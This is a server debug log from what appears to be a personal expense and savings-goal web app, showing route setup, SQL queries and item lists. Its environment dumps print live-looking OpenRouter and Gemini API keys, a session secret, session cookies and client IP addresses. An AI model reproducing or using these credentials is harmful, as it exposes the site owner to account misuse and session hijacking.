  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:03:36.347Z server-connect:router Serving templateView /goal
2026-02-24T12:03:36.347Z server-connect:app Executing action step identify
2026-02-24T12:03:36.347Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:36.347Z server-connect:output identity: 1
2026-02-24T12:03:36.347Z server-connect:app Executing action step restrict
2026-02-24T12:03:36.347Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:36.348Z server-connect:output restrict: undefined
2026-02-24T12:03:36.348Z server-connect:router Render template goal
2026-02-24T12:03:36.348Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.822Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:03:36.699Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:03:36.699Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:03:36.699Z server-connect:app Executing action step identify
2026-02-24T12:03:36.699Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:36.699Z server-connect:output identity: 1
2026-02-24T12:03:36.700Z server-connect:app Executing action step restrict
2026-02-24T12:03:36.700Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:03:36.700Z server-connect:app Executing action step identify
2026-02-24T12:03:36.700Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:36.700Z server-connect:output identity: 1
2026-02-24T12:03:36.700Z server-connect:app Executing action step restrict
2026-02-24T12:03:36.700Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:03:36.700Z server-connect:output restrict: undefined
2026-02-24T12:03:36.700Z server-connect:app Executing action step custom
2026-02-24T12:03:36.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:03:36.701Z server-connect:output restrict: undefined
2026-02-24T12:03:36.701Z server-connect:app Executing action step paged
2026-02-24T12:03:36.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:03:36.702Z server-connect:output list: []
2026-02-24T12:03:36.703Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-24T12:04:09.607Z server-connect:router Serving serverConnect /api/goals/manage
2026-02-24T12:05:13.905Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-24T12:05:14.084Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-24T12:05:14.159Z server-connect:setup:upload Upload middleware configured.
2026-02-24T12:05:14.160Z server-connect:secure CSRF Protection initialized
2026-02-24T12:05:14.162Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-24T12:05:14.162Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-24T12:05:14.164Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-24T12:05:14.164Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-24T12:05:14.174Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-24T12:05:14.175Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-24T12:05:14.176Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-24T12:05:14.177Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-24T12:05:14.180Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-02-24T12:05:14.180Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-24T12:05:14.181Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-24T12:05:14.181Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-24T12:05:14.182Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-24T12:05:14.182Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-24T12:05:14.182Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-24T12:05:14.183Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-02-24T12:05:14.183Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-02-24T12:05:14.183Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-02-24T12:05:14.184Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-02-24T12:05:14.184Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-24T12:05:14.184Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-24T12:05:14.185Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-24T12:05:14.185Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-24T12:05:14.185Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-24T12:05:14.185Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-24T12:05:14.185Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-24T12:05:14.186Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-24T12:05:14.186Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-24T12:05:14.186Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-24T12:05:14.186Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-24T12:05:14.315Z server-connect:router Serving serverConnect /api/goals/manage
2026-02-24T12:05:14.320Z server-connect:app Executing action step identify
2026-02-24T12:05:14.321Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:14.322Z server-connect:output identity: 1
2026-02-24T12:05:14.322Z server-connect:app Executing action step restrict
2026-02-24T12:05:14.322Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:14.325Z server-connect:output restrict: undefined
2026-02-24T12:05:14.326Z server-connect:app Executing action step condition
2026-02-24T12:05:14.326Z server-connect:app options: { if: '{{$_POST.target_id}}', else: { steps: [ [Object], [Object] ] } }
2026-02-24T12:05:14.328Z server-connect:app Executing action step insert
2026-02-24T12:05:14.328Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    table: 'target_master',
    returning: 'id',
    query: 'insert into `target_master` (`amount`, `category`, `created_on`, `description`, `name`, `userid`) values (?, ?, ?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object], [Object], [Object] ]
  }
}
2026-02-24T12:05:14.331Z server-connect:output goal: { affected: 1, identity: 8 }
2026-02-24T12:05:14.331Z server-connect:app Executing action step condition
2026-02-24T12:05:14.331Z server-connect:app options: {
  if: '{{$_POST.opening_amount.toNumber()>0&&goal.identity}}',
  then: {
    steps: {
      name: 'opening_amount',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-24T12:05:14.332Z server-connect:app Executing action step insert
2026-02-24T12:05:14.332Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `target_id`) values (?, ?, ?)',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-24T12:05:14.333Z server-connect:output opening_amount: { affected: 1, identity: 11 }
2026-02-24T12:05:14.333Z server-connect:output condition: undefined
2026-02-24T12:05:14.333Z server-connect:output condition: undefined
2026-02-24T12:05:14.571Z server-connect:router Serving templateView /goal
2026-02-24T12:05:14.571Z server-connect:app Executing action step identify
2026-02-24T12:05:14.571Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:14.571Z server-connect:output identity: 1
2026-02-24T12:05:14.571Z server-connect:app Executing action step restrict
2026-02-24T12:05:14.571Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:05:14.573Z server-connect:output restrict: undefined
2026-02-24T12:05:14.574Z server-connect:router Render template layouts/main
2026-02-24T12:05:14.574Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-24T12:05:15.085Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:05:15.087Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:05:15.089Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:05:15.090Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:05:15.090Z server-connect:app Executing action step identify
2026-02-24T12:05:15.090Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:15.090Z server-connect:output identity: 1
2026-02-24T12:05:15.090Z server-connect:app Executing action step restrict
2026-02-24T12:05:15.090Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:15.091Z server-connect:app Executing action step identify
2026-02-24T12:05:15.091Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:15.091Z server-connect:output identity: 1
2026-02-24T12:05:15.091Z server-connect:app Executing action step restrict
2026-02-24T12:05:15.091Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:15.091Z server-connect:app Executing action step identify
2026-02-24T12:05:15.091Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:15.091Z server-connect:output identity: 1
2026-02-24T12:05:15.091Z server-connect:app Executing action step restrict
2026-02-24T12:05:15.091Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:15.092Z server-connect:output restrict: undefined
2026-02-24T12:05:15.092Z server-connect:app Executing action step custom
2026-02-24T12:05:15.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:05:15.093Z server-connect:output restrict: undefined
2026-02-24T12:05:15.094Z server-connect:app Executing action step select
2026-02-24T12:05:15.094Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:05:15.096Z server-connect:app Executing action step identify
2026-02-24T12:05:15.096Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:15.096Z server-connect:output identity: 1
2026-02-24T12:05:15.096Z server-connect:app Executing action step restrict
2026-02-24T12:05:15.096Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:15.097Z server-connect:output restrict: undefined
2026-02-24T12:05:15.097Z server-connect:app Executing action step single
2026-02-24T12:05:15.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:05:15.099Z server-connect:output list: [
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '200000'
  }
]
2026-02-24T12:05:15.101Z server-connect:output restrict: undefined
2026-02-24T12:05:15.101Z server-connect:app Executing action step paged
2026-02-24T12:05:15.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:05:15.106Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
